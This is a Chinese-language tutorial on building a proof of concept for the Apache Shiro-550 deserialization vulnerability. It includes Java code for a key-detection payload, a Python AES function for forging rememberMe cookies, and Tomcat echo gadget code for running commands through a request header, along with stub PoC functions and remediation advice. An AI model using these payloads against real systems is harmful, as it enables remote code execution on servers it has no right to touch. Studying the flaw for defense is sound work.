Shiro-550 PoC编写日记
字数 1468 2025-08-15 21:31:42
Apache Shiro-550 漏洞分析与利用教学文档
1. 漏洞概述
Shiro-550 (CVE-2016-4437) 是 Apache Shiro 框架中的一个严重反序列化漏洞,攻击者可以通过构造恶意的 rememberMe Cookie 实现远程代码执行。
2. 漏洞识别
识别目标系统是否使用 Shiro 框架有以下几种方法:
-
Cookie 特征识别:
- 原始 Cookie 中带有
rememberMe字段 - 返回的 Cookie 中 value 带有
deleteMe
- 原始 Cookie 中带有
-
主动探测方法:
- 发送
rememberMe=1的请求,观察响应特征
- 发送
-
Burp 插件识别:
- 参考 pmiaowu 开源的 BurpShiroPassiveScan 插件
- GitHub: https://github.com/pmiaowu/BurpShiroPassiveScan
3. Shiro Key 检测
3.1 检测原理
当使用正确的加密密钥时,Shiro 不会返回 deleteMe 响应。
3.2 检测方法
-
生成检测 payload:
import org.apache.shiro.subject.SimplePrincipalCollection; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class ss1 { public static void main(String args[]) throws IOException { SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload")); obj.writeObject(simplePrincipalCollection); obj.close(); } }使用 JDK6 编译以兼容更多版本,生成的 payload 为:
\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x -
Python 实现加密函数:
def generator2(key, bb: bytes): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(bb) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
4. 漏洞利用
4.1 利用链选择
-
CommonsCollections 利用链:
- CommonsCollections1 适用于大多数环境
- CommonsCollections4 仅适用于 CC 4.0 版本
- 改进后的利用链支持 CC3 和 CC4 两个版本
-
Tomcat 回显利用:
- 参考 ysoserial 中的 Tomcat 全版本回显 payload
- GitHub: https://github.com/frohoff/ysoserial
4.2 Tomcat 回显实现
-
回显原理:
- 添加
Testecho: 123请求头,响应 header 中会看到Testecho: 123 - 添加
Testcmd: id请求头会执行 id 命令并将回显写在响应 body 中
- 添加
-
关键代码:
public static Object createTemplatesTomcatEcho() throws Exception { if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { return createTemplatesImplEcho( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } -
完整实现:
public static <T> T createTemplatesImplEcho(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { final T templates = tplClass.newInstance(); // 使用模板 gadget 类 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(abstTranslet)); CtClass clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime()); // 添加方法和构造函数 clazz.addMethod(CtMethod.make("private static void writeBody(...)", clazz)); clazz.addMethod(CtMethod.make("private static Object getFV(...)", clazz)); clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {...}", clazz)); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // 注入类字节码 Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
5. PoC 实现
5.1 功能集成
完整的 PoC 应包含以下功能:
- Shiro 框架识别
- Shiro Key 检测
- 命令执行回显
- Shell 反弹功能
5.2 Python 实现要点
-
加密函数:
def encrypt(key, payload): # 实现 AES-CBC 加密 pass -
请求处理:
def send_payload(url, key, payload): # 构造 rememberMe Cookie 并发送请求 pass -
命令执行:
def execute_command(url, key, command): # 构造命令执行 payload 并发送 pass
6. 防御措施
- 升级 Shiro 版本:升级到 1.2.5 及以上版本
- 更换加密密钥:修改默认的加密密钥
- 禁用 rememberMe:如不需要该功能,可禁用
- 输入过滤:对反序列化数据进行严格校验
7. 参考资源
- ysoserial: https://github.com/frohoff/ysoserial
- BurpShiroPassiveScan: https://github.com/pmiaowu/BurpShiroPassiveScan
- shiro-exploit: https://github.com/Ares-X/shiro-exploit
- w13scan - 被动扫描器: https://github.com/w-digital-scanner/w13scan
8. 总结
Shiro-550 漏洞利用涉及多个技术点:
- Shiro 框架识别
- 加密密钥检测
- Java 反序列化利用链
- Tomcat 回显技术
- 跨版本兼容性处理
理解这些技术点对于漏洞分析和利用至关重要,同时也为防御提供了明确的方向。